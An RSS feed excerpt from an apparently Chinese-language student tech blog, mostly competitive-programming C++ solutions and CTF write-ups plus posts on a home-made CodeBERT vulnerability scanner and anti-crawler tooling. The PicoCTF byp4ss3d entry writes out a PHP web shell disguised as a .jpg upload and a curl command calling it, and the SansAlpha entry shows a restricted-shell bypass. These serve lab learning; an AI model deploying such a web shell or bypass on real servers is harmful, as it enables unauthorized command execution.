            <title><![CDATA[Root me Javascript - Authentication解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_5_1/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_5_1/</guid>
            <pubDate>Thu, 05 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[(此篇不在Google公開，請不要分享公開此篇解題)
進去題目首先要我們登入網站
例行公事，來看看網站Html裝了什麼
(base) nolan@nolan-MS-7C31:~$ curl http://challenge01.root-me.org/web-client/ch9/
&lt;html&gt;
&lt;head&gt;
                                                                                                                                    …]]></description>
            </item>
  <item>
            <title><![CDATA[Root me ELF x86 - 0 protection解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_5_2/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_5_2/</guid>
            <pubDate>Thu, 05 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[(此篇不在Google公開，請不要分享公開此篇解題)
根據題目指示下載一個C的執行檔
所以，接下來要來反編譯（其實執行下去，輸入123456789就是答案......)
首先打開Ghidra，新增專案，import剛剛的執行檔，ELF x86 / x64
打開之後找到左側Symbol Tree → Functions → main
右邊就顯示出了整個main是什麼了
所以密碼就是123456789













]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF Useless解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_4/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_4/</guid>
            <pubDate>Wed, 04 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[首先透過題目指示連結ssh，之後ls看到目錄底下有個useless的檔案
先cat一下看有什麼
#!/bin/bash
# Basic mathematical operations via command-line arguments

if [ $# != 3 ]
then
  echo "Read the code first"
else
        if [[ "$1" == "add" ]]
        then 
          sum=$(( $2 + $3 ))
          echo "The Sum is: $sum"  

        elif [[…]]></description>
            </item>
  <item>
            <title><![CDATA[改進CodeBERT分析器!]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_4_2/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_4_2/</guid>
            <pubDate>Wed, 04 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[接續上一篇
後來我發現到我的CodeBERT怎麼去跑整個Juice-shop只有出現到那三個RCE，這代表這模型目前只是一個偏科生？就只會抓RCE，縱使RCE抓的還不錯啦，我還是不能接受這樣的結果，為了解決這事，我花了昨天晚上到今天早上的時間在「煉丹」煉出這個CodeBERT V2.0，一台Intel ARC A380能利用成這樣，可以訓練模型，我覺得這張卡，真的物超所值，總之，底下是我結果
(一樣採用Juice-shop)
（CodeBERT V2.0只是我自己叫的而已）
檔案函數CodeBERT(V2.0)Semgrep
login.ts登入驗證✅✅ ERROR
search.ts產品搜尋…]]></description>
            </item>
  <item>
            <title><![CDATA[自製CodeBERT分析器，效果超乎預期？]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_2/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_2/</guid>
            <pubDate>Mon, 02 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[近期透過各種AI工具製作類似像是Semgrep的東西，但是這東西採用微軟的CodeBERT（現在就只能透漏這樣了，不能在更多了）
那？來直接看看我做的工具效果如何？
對比資料採用juice-shop的routes，我覺得要測試就來直接測試最難的，連SonarQube Cloud都只能勉強掃描到漏洞
在 2021 年 4 月，SonarQube Cloud 的 JavaScript/TypeScript 靜態分析引擎能夠在 OWASP Juice Shop 這個測試應用上，識別出 16 個已知注入漏洞中的 13 個，對應約 81% 的檢測率。
話不多說來看結果
RankScanner / Too…]]></description>
            </item>
  <item>
            <title><![CDATA[讓網路髒東西都消失吧]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_2_1/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_2_1/</guid>
            <pubDate>Sun, 01 Feb 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[網路上真的充斥著一堆亂七八糟的東西，尤其是點點網站，隨便就看到情色網站，真的是讓我受不了，所以我決定用DNS做出改變
雖然我這免費仔習慣看盜版影片(就是線上看)，隨便就看到奇怪的東西
DNS家庭版
透過改變DNS，讓色情網站的網域名會被DNS打下來，返回127.0.0.1，也就是本機，這樣就可以讓設備連不上了（有點像是中華電信的色情守門員）
常見的DNS除了Google的DNS，其餘都有家庭版，提供一些DOH的DNS

Cloudflare

https://family.cloudflare-dns.com/dns-query


Adguard

https://family.adguar…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF Roboto Sans解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_1_30/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_1_30/</guid>
            <pubDate>Fri, 30 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[首先這題目打開一個的網站

看起來沒有什麼相關，例行公事，看一下網站robots.txt
結果
User-agent *
Disallow: /cgi-bin/
Think you have seen your flag or want to keep looking.

ZmxhZzEudHh0;anMvbXlmaW
anMvbXlmaWxlLnR4dA==
svssshjweuiwl;oiho.bsvdaslejg
Disallow: /wp-admin/

後面那段直接找AI解碼:
解碼
讓我重新分析這三行：
ZmxhZzEudHh0;anMvbXlmaW
anMvbXlmaWxlLnR…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF It is my Birthday解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_1_30_1/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_1_30_1/</guid>
            <pubDate>Fri, 30 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[看到題目要求，上傳兩份PDF，要求MD5要一樣，所以聯想到題目要的就是MD5碰撞
在我找Google找來找去，找到fastcoll這個工具
但我找到的版本還要用Docker，我很懶惰，所以直接找到Md5collision，fastcoll windows版本
工具準備好後，還有一件事，PDF不能丟隨手的PDF（像我直接丟高中物理線上學習網的PDF，結果被說不是PDF)
正確PDF如下
cat &gt; prefix.pdf &lt;&lt; 'EOF'
%PDF-1.3
1 0 obj
&lt;&lt; /Length 64 &gt;&gt;
stream
EOF

得出初始PDF後用Fast…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF endianness解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_1_30_2/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_1_30_2/</guid>
            <pubDate>Fri, 30 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[依據題目，連上伺服器
連上之後，顯示伺服器會輸出幾個字母，要求輸入Little Endian、Big Endian還要16進位
端序_wiki
但這題目沒有要像WIKI那麼複雜，只要依序輸出顯示文字的大小端序而已
#include &lt;bits/stdc++.h&gt;
using namespace std;
int main ()
{
    string n = "fquao";
    vector&lt;int&gt;num;
    for (int i = 0; i&lt;n.size(); i++) {
        num.push_back(toascii(n[i])…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF SansAlpha解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_1_30_3/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_1_30_3/</guid>
            <pubDate>Fri, 30 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[根據題目，連上ssh，之後進到一個詭異的終端，這個終端不能輸入任何帶有字母，只能是. / \ * 之類
反正我當然不知道怎麼解，誰Linux只用符號，總之我試過*/*就沒然後
但是看到這個
解法是要去偷輸出的字母，用很神奇的方法
_1=$($0 2&gt;&amp;1)

"$_1"

輸出
SansAlpha$ "$_1" bash: bash: $: command not found: command not found 
SansAlpha$

/???/?${_1:9:1}?${_1:10:1} "$(&lt;./*/????.???)"

Get flag
蝦？你說你看不懂？我告訴…]]></description>
            </item>
  <item>
            <title><![CDATA[PicoCTF byp4ss3d解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_1_29/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_1_29/</guid>
            <pubDate>Thu, 29 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[首先這題目一上來就要你上傳檔案，所以八九不離十是要你攻擊PHP，反正就是要向伺服器上傳惡意php去跑
所以先製作一個假裝是jpg的惡意的php
echo '&lt;?php system($_GET["cmd"]); ?&gt;' &gt; shell.php.jpg

上傳去伺服器返回
Successfully uploaded!Access it at: images/shell.php.jpg

試圖去使用PHP
curl "http://amiable-citadel.picoctf.net:55587/images/shell.php.jpg?cmd=ls"

返回
無

所以看起來…]]></description>
            </item>
  <item>
            <title><![CDATA[時間!]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_1_29_2/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_1_29_2/</guid>
            <pubDate>Thu, 29 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[前言
剛剛上數學課時，老師問我一句話，你最近作息如何？為什麼好像沒有看到你在做數學？
我：就一切正常，我還有在解題、CTF
老師：喔~有在解數學題嘛(明明那是競程......)
檢視一下

首先我會在8:00~9:00起床，雖然有時會到10:00
起床吃早餐，配Youtube（最多算半小時）
解題+CTF到1:00
出去外面找吃的
耍廢半小時＋空白時間（不固定我要幹麼）
至少空白時間完後到吃晚餐都在讀書
8:00到，我來看看直播，或者看一下MIT
9:00~11:00 有沒有想法可以寫Blog
睡覺
(其實有很多我沒講的時間，反正這是我最懶散的時間，如果認真的一天CTF跟競程會佔多時間)
總之…]]></description>
            </item>
  <item>
            <title><![CDATA[對於高中生學程式的意義]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_1_27/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_1_27/</guid>
            <pubDate>Tue, 27 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[(此處指進階程式設計並非一般高中資訊課)
(不是寫給家長看的文章)
單看升學
現在高中生，說真的書可能有真的比較少吧，但是一堆很煩雜的事多就是
扯遠了，回到正題
現在如果你是個高中生，若你要讀資工系，我想絕大部分的人絕對是把書讀好，考學測，上大學，但是不知道你有沒有看過"APCS"，這什麼東西呢？簡單來說就是一個大學程式能力先修檢測，檢測你寫程式能力，然後將其分為1~5級分，然而裡面的題目，如果你不是天才，完全依賴於學校資訊課，要2級分根本不可能，所以學習APCS有兩種路：自學和外面補習（對，程式也有外面補習），單然也有很多學校校內有資訊社，但反正在我學校是沒有，我絕大部分是自學來的（這篇沒有…]]></description>
            </item>
  <item>
            <title><![CDATA[SOAP picoCTF解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/SOAP_2026_1_27/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/SOAP_2026_1_27/</guid>
            <pubDate>Tue, 27 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[這篇剛好是我首次CTF題解文章
SOAP - Medium
Author: Geoffrey Njogu
Description
The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?

Additional details will be available after launching your challenge instance.

好的，看到題目直接叫做SOAP，就絕對是跟SOAP有關，Simple Object Access Protoco…]]></description>
            </item>
  <item>
            <title><![CDATA[紀錄：Blog從0到一（所以建立blog要錢嗎？)]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/Myblog/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/Myblog/</guid>
            <pubDate>Mon, 26 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[最初
建立最一開始Blog時，我還不會git更不用說還要部屬Hexo,Hugo之類框架，所以我一開始是NotionNext這個框架
當時的圖

NotionNext好處就是只要你會用Notion就不會有問題，缺點是：

速度有點慢，感覺慢半拍
是用Notion，控制權不在你這邊
自定義很爛
所以我受不了了，我決定搬家

Hexo初期
當時決定要一口氣把所有文章搬家到Hexo，並且是採用現在的Next主題，大搬家過程還要把圖片手動轉圖庫，URL要重新設定，實在很麻煩
到處搬遷部屬平台
一開始我是用Vercel部屬，但不知道自己是發了什麼神經，覺得Vercel不好用，又搬家去Netlify，但又發…]]></description>
            </item>
  <item>
            <title><![CDATA[Albireo一堆bug]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026_1_25/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026_1_25/</guid>
            <pubDate>Sun, 25 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[(紀錄防爬蟲系統在這blog一開始，與過程)
當初決定搞爬蟲防護是因為我的poco f6 pro root文章在後台有一堆爬蟲來爬，讓我感到一堆不舒服，雖然對於我這個小型blog來講好像沒差，但也激起我想要寫一個防止爬蟲的系統
NotionNext時期
當時沒部屬
Netlify時期
當時是採用Netlify funtion，並且當時程式碼還參考了一下Anubis的程式，正當我用的很開心時，某天，我要把網址丟上Google，發現google bot竟然進不去我的網站？我搞了老半天還是沒有任何結果，所以我還是放棄這個架構了
補充：當時擋Bot的效果還意外不錯？後台就擋掉一堆Python還有垃圾S…]]></description>
            </item>
  <item>
            <title><![CDATA[P圖大師]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/P圖大師/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/P圖大師/</guid>
            <pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[我們學校英文老師，要求我們下載那令人噁心的單字庫APP，而且還要打分數？但，我這人怎麼可能去下載，所以？來P圖？

]]></description>
            </item>
  <item>
            <title><![CDATA[我把Anubis移植到靜態網站了]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/anubis_to_Static/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/anubis_to_Static/</guid>
            <pubDate>Sun, 11 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[Anubis，這個專案是一個專門阻擋爬蟲工具，不同於Cloudflare或Captcha，這是用瀏覽器去算JS，要瀏覽網站，就必須要去算數學題，因為大多數的爬蟲都沒辦法算JS，又或者成本過高，所以有效阻擋爬蟲。
但？對於我這種連域名都要用Cloudns的免費仔，若要部屬Anubis必須要有一個後端伺服器作為Proxy，我怎麼可能有一台VPS，既要免信用卡，又要永久不需要激活，還要免費，所以我想到用Netlify的Edge-function，但差點把網站搞死
所以我就在看到底有啥方式可以移植Anubis，又可以不用Proxy
Anubis移植版（Albireo）
終於，我把Anubis移植到Cl…]]></description>
            </item>
  <item>
            <title><![CDATA[很抱歉，我的網站不會尊重你]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2026-1-16/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2026-1-16/</guid>
            <pubDate>Tue, 06 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[我的網站更新只會在裡面塞一堆追蹤器，這是為什麼呢？
Tux24
所以，到底為什麼我要放一堆追蹤器，可能只是想確認一下，有沒有活人在看而已吧？
所以要隱私，還是裝Adblock吧
已知追蹤器：

static.cloudflareinsights.com
www.googletagmanager.com
(Cloudflare放的，我就真的沒辦法)
(Google的就是追蹤器，哪天在看看Google的替代吧)
2026-2-13 更新
廣告所有相關已經移除了！

]]></description>
            </item>
  <item>
            <title><![CDATA[g276 魔王迷宮 C++解法]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/g276/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/g276/</guid>
            <pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
struct boss{
    int r,c,s,t;
};
int main ()
{
    int n,m,k;
    cin&gt;&gt;n&gt;&gt;m&gt;&gt;k;
    vector&lt;vector&lt;bool&gt;&gt;map(n,vector&lt;bool&gt;(m,false));
    vector&lt;boss&gt;boss_message;
    for (int i = 0; i&lt;k; i++) {
       …]]></description>
            </item>
  <item>
            <title><![CDATA[e838解法]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/e838/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/e838/</guid>
            <pubDate>Wed, 31 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
int main()
{
    int n;
    cin&gt;&gt;n;
    vector&lt;vector&lt;string&gt;&gt;nums(n,vector&lt;string&gt;(n));
    vector&lt;string&gt;words;
    for (int i = 0; i&lt;n; i++) {
        string m;
        cin&gt;&gt;m;
        words.push_back(m);
 …]]></description>
            </item>
  <item>
            <title><![CDATA[2025_12_TOI練習賽（新手組）]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/TOI_solve/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/TOI_solve/</guid>
            <pubDate>Wed, 24 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[1.https://www.dropbox.com/scl/fi/v4c6k5va7m214ju6an8c6/BBQ-zh_TW.pdf?rlkey=m724m8rhyy95ljjw0v0lbyt37&amp;st=3e2ty6yp&amp;dl=0
#include &lt;bits/stdc++.h&gt;
using namespace std;
int main ()
{
    int n,m;
    cin&gt;&gt;n&gt;&gt;m;
    map&lt;int, int&gt;num;
    for (int i = 0; i&lt;n; i++) {
     …]]></description>
            </item>
  <item>
            <title><![CDATA[o712 C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/o712/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/o712/</guid>
            <pubDate>Mon, 22 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
int main ()
{
    int m,n,k,r,c;
    cin&gt;&gt;m&gt;&gt;n&gt;&gt;k&gt;&gt;r&gt;&gt;c;
    vector&lt;vector&lt;int&gt;&gt;num(m,vector&lt;int&gt;(n));
    for (int i = 0; i&lt;m; i++) {
        for (int j = 0; j&lt;n; j++) {
            cin&gt;&gt;…]]></description>
            </item>
  <item>
            <title><![CDATA[b965 C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2025_12_21/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2025_12_21/</guid>
            <pubDate>Sun, 21 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
vector&lt;vector&lt;int&gt;&gt;change(int o,vector&lt;vector&lt;int&gt;&gt;&amp;n)
{   
    int R = n.size();
    int C = n[0].size();
    vector&lt;vector&lt;int&gt;&gt;res;
    switch (o) {
        case 0:
        res.resize(C,vector&lt;int&gt;(R…]]></description>
            </item>
  <item>
            <title><![CDATA[e835解法]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/e835/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/e835/</guid>
            <pubDate>Sun, 21 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
#include &lt;string&gt;
using namespace std;
int main() {
    int N;
    cin&gt;&gt;N;
    string ans = "";
    if (N&lt;=2500) {
        ans+="1";
        int x = (N-1) /25+1;
        int y = (N-1)%25+1;
        ans+=" ";
        ans+=to_string(x);
        ans+=" ";
 …]]></description>
            </item>
  <item>
            <title><![CDATA[h026 C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2025_12_19/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2025_12_19/</guid>
            <pubDate>Fri, 19 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
int main ()
{
    int F,N;
    cin&gt;&gt;F;
    cin&gt;&gt;N;
    vector&lt;int&gt;num(N);
    for (int i = 0; i&lt;N; i++) {
        cin&gt;&gt;num[i];
    }
    int brother = F;
    bool end = true;
    int pre_sister = -1;
    for (int i = 0; i…]]></description>
            </item>
  <item>
            <title><![CDATA[NCKU暑期邀請賽-2022-B解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2025_12_19_2022_B/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2025_12_19_2022_B/</guid>
            <pubDate>Fri, 19 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[註：底下程式僅供參考
#include &lt;bits/stdc++.h&gt;
using namespace std;
int main ()
{
    int n,m;
    cin&gt;&gt;n&gt;&gt;m;
    vector&lt;pair&lt;int, int&gt;&gt;num;
    for (int i = 0; i&lt;m; i++) {
        int x,y;
        cin&gt;&gt;x&gt;&gt;y;
        num.push_back({x,y});
    }
    if (n == 1) {
   …]]></description>
            </item>
  <item>
            <title><![CDATA[a009解碼器解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/a009/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/a009/</guid>
            <pubDate>Tue, 16 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[首先先透過底下簡單的code得知密碼
#include &lt;bits/stdc++.h&gt;
using namespace std;
int main ()
{
    int t = 'J';
    int a = 'C';
    cout&lt;&lt;t-a&lt;&lt;endl;
    string num;
    cin&gt;&gt;num;
    string n ="";
    for (int i = 0; i&lt;num.size(); i++) {
        n+= num[i]-7;
    }
    cout&lt;&lt;n&lt;&…]]></description>
            </item>
  <item>
            <title><![CDATA[k554 C++解法]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/k554/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/k554/</guid>
            <pubDate>Sat, 13 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
int main ()
{
    int n,m;
    cin&gt;&gt;n&gt;&gt;m;
    vector&lt;vector&lt;int&gt;&gt;num(n,vector&lt;int&gt;(m));
    for (int i = 0; i&lt;n; i++) {
        for (int j=0; j&lt;m; j++) {
            cin&gt;&gt;num[i][j];
        }
    }
    vect…]]></description>
            </item>
  <item>
            <title><![CDATA[m581 C++ 解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/m581/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/m581/</guid>
            <pubDate>Sat, 13 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
int main ()
{
    int n = 0;
    cin&gt;&gt;n;
    vector&lt;int&gt;num(n);
    int ppl = 0;
    int wolve = 0;
    for (int i = 0; i&lt;n; i++) {
        cin&gt;&gt;num[i];
        if (num[i] == 0 || num[i] == 1) {
            ppl++;
        } els…]]></description>
            </item>
  <item>
            <title><![CDATA[P910 C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/p910/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/p910/</guid>
            <pubDate>Sat, 13 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
struct lunch_num{
    string food_lunch;
    int index_x;int index_y; 
};
int main ()
{
    int n,m;
    cin&gt;&gt;n&gt;&gt;m;
    vector&lt;lunch_num&gt;lunch;
    for (int i = 0; i&lt;n; i++) {
        for (int j = 0; j&lt;m; j++) {
            …]]></description>
            </item>
  <item>
            <title><![CDATA[d561解法]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/d561/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/d561/</guid>
            <pubDate>Fri, 12 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;iostream&gt;
#include &lt;string&gt;
#include &lt;iomanip&gt;
#include &lt;cmath&gt;
using namespace std;
int main() {
    string num;
    while (cin &gt;&gt; num) {
        int dotPos = num.find('.');
        if (dotPos == string::npos) {
            cout &lt;&lt; fixed &lt;&lt; setpre…]]></description>
            </item>
  <item>
            <title><![CDATA[e794 C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/e794/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/e794/</guid>
            <pubDate>Fri, 12 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
#define int long long
using namespace std;
long long memo[47];
int math(int n)
{
    if (n &lt;= 2) {
        return 1;
    }
    if (memo[n] != 0) {
        return memo[n];
    }
    return memo[n] = math(n-1) + math(n-2);
}
signed main ()
{
    int n;
    cin&gt;&gt;…]]></description>
            </item>
  <item>
            <title><![CDATA[f168 C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/f168/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/f168/</guid>
            <pubDate>Fri, 12 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
#define int long long
using namespace std;
bool Divide(int idx,int target,int x,int y,int z,vector&lt;int&gt;&amp;num)
{
    if (x&gt;target || y&gt;target || z&gt;target) {
        return false;
    }
    if (idx == num.size()) {
        return (x == target &amp;&amp;…]]></description>
            </item>
  <item>
            <title><![CDATA[e914 C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/2025_12_10_e914/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/2025_12_10_e914/</guid>
            <pubDate>Wed, 10 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
int main ()
{
    int n;
    cin&gt;&gt;n;
    bool check = false;
    for (int i = 18; i&lt;=99; i++) {
        string mom = to_string(i);
        string daughter = mom;
        reverse(daughter.begin(),daughter.end());
        int mom_int = stoi(…]]></description>
            </item>
  <item>
            <title><![CDATA[e913 C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/e913/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/e913/</guid>
            <pubDate>Tue, 09 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
unordered_map&lt;int, bool&gt;num;
bool math_num(int y)
{
    if (num.count(y)) {
        return num[y];
    }
    if (y&lt;2) {
        return num[y] = false;
    }
    if (y == 2) {
        return num[y] = true;
    }
    if (y % 2 == 0) {
      …]]></description>
            </item>
  <item>
            <title><![CDATA[e915 C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/e915/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/e915/</guid>
            <pubDate>Tue, 09 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
#define int long long
struct customer{
    int fire,time;
};
signed main ()
{
    int n;
    cin&gt;&gt;n;
    vector&lt;customer&gt;num;
    for (int i = 0; i&lt;n; i++) {
        int a,b;
        cin&gt;&gt;a&gt;&gt;b;
        num.push_back({a,b}…]]></description>
            </item>
  <item>
            <title><![CDATA[m731 C++解]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/m371/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/m371/</guid>
            <pubDate>Tue, 09 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
int main ()
{
    int n,m;
    cin&gt;&gt;n&gt;&gt;m;
    vector&lt;vector&lt;int&gt;&gt;num(n,vector&lt;int&gt;(m));
    for (int i = 0; i&lt;n; i++) {
        for (int j = 0; j&lt;m; j++) {
            cin&gt;&gt;num[i][j];
        }
    }
    in…]]></description>
            </item>
  <item>
            <title><![CDATA[Pokemon Omega ruby 琉璃道館用程式找出第一張圖所有走法]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/Omega_ruby/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/Omega_ruby/</guid>
            <pubDate>Tue, 09 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[最近剛完成了Pokemon Omega Ruby通關，話說已經很久沒有那麼「安靜」的遊戲了（這是我第6款寶可夢遊戲了）（但以前世代官方沒有中文，逼我一定要學英文）
回到正題，在遊戲中琉璃市道館，必須要通過謎題才能打館主
其中謎題必須要在一堆冰上走，這些冰塊只要踩第二次，就會破掉，必須要想辦法在所有冰塊都踩下去外加要從起始點道終點
寶可夢wiki
那正好第一張圖不就適合用DFS解（其實這有正確的問題名字：哈密頓路徑）
（第二第三張中間有黃色區塊，可以重複踩，我不知道怎麼寫）
#include &lt;bits/stdc++.h&gt;
using namespace std;
vector&lt…]]></description>
            </item>
  <item>
            <title><![CDATA[a453解法]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/a453/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/a453/</guid>
            <pubDate>Mon, 08 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
using namespace std;
bool find_root(int x);
string math_num(int a,int b,int c)
{
    int x = b*b-4*a*c;
    bool temp = find_root(x);
    if (temp) {
        return "Yes";
    } else {
        return "No";
    }
}
bool find_root(int x)
{
    double y = x;
    if (y&lt;…]]></description>
            </item>
  <item>
            <title><![CDATA[h082解法]]></title>
            <link>https://www.leaftechblog.cloudns.biz/posts/h082/</link>
            <guid isPermaLink="true">https://www.leaftechblog.cloudns.biz/posts/h082/</guid>
            <pubDate>Mon, 08 Dec 2025 00:00:00 +0000</pubDate>
            <description><![CDATA[#include &lt;bits/stdc++.h&gt;
#define int long long
using namespace std;
struct N{
    int index,x,y;
};
